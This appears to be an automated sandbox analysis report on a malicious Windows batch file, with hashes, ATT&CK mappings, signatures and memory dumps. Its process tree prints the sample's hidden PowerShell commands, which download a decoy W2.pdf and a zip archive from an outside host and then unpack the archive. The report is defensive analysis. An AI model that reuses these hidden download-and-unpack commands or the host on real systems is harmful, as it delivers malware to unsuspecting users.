91619737b3f7af4623dc62b4f3df7b551337ec94f693a3b9ba35bb231483393e

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
06-01-2025 02:54

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General

Target

91619737b3f7af4623dc62b4f3df7b551337ec94f693a3b9ba35bb231483393e.bat
Size

498B
MD5

e8dfdb915a523a09e139aaa900991ddd
SHA1

d23f4798c549bfb7ddd968c4c2a971f67468a662
SHA256

91619737b3f7af4623dc62b4f3df7b551337ec94f693a3b9ba35bb231483393e
SHA512

b4e737d1c80420688bf856df02a580b691d120307b7d31ea4766448ccd0c6eec7b2c48424691e92dffba58ca8c9a8df989f5b683d9363cac37d3dd3e5ad1623e

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
824	powershell.exe
2664	powershell.exe
2848	powershell.exe
824	powershell.exe
2664	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
824	powershell.exe
2664	powershell.exe
2848	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	824	powershell.exe
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 3060 wrote to memory of 824	3060	cmd.exe	32
PID 3060 wrote to memory of 824	3060	cmd.exe	32
PID 3060 wrote to memory of 824	3060	cmd.exe	32
PID 3060 wrote to memory of 2664	3060	cmd.exe	33
PID 3060 wrote to memory of 2664	3060	cmd.exe	33
PID 3060 wrote to memory of 2664	3060	cmd.exe	33
PID 3060 wrote to memory of 2848	3060	cmd.exe	34
PID 3060 wrote to memory of 2848	3060	cmd.exe	34
PID 3060 wrote to memory of 2848	3060	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\91619737b3f7af4623dc62b4f3df7b551337ec94f693a3b9ba35bb231483393e.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\Admin\Downloads\W2.pdf"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\Admin\AppData\Local\Temp\msword.zip"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\msword -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a2ada31d22f3e81d58fa0d0bb90803c3

SHA1
2c3a2b74b0d9fd42ea3f6d51ec562a25060ecebd

SHA256
4df882e347ba7beb9d34e5612fd098b96652301f7551112d405b194f297b10eb

SHA512
7be7492e245d43abc8444dd6d636c851322fab2198fe0b78aa09ca02a82157c391ea2e819d81e23d9bc350006e7a9f4f83dde0fffba854ebc2ed79365a3a55f8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LECFGTK8JPRLN2MCHCUX.temp

Filesize
7KB

MD5
07b3c9f88ad3037151130c2ec8b488c2

SHA1
ffd6e69e5b7f4e6a712da7b93e2eadf9633ba93d

SHA256
272ad5961b755888013b771c9814aa0813be57be98f38635e085d3561954eb11

SHA512
5d85bb8ae3bead20933a494d7a6eb3c477487a35175565db635f34a11e5770117665bda9b63808fcdb0b1b35c122002aa02653bef55dc2babd79debb69a30f4a

Download Submit
memory/824-4-0x000007FEF5B7E000-0x000007FEF5B7F000-memory.dmp

Filesize
4KB

Download
memory/824-5-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/824-6-0x0000000002070000-0x0000000002078000-memory.dmp

Filesize
32KB

Download
memory/824-7-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/824-8-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/824-9-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/824-10-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/2664-34-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/2664-35-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download
memory/3060-21-0x00000000003F0000-0x00000000003F1000-memory.dmp

Filesize
4KB

Download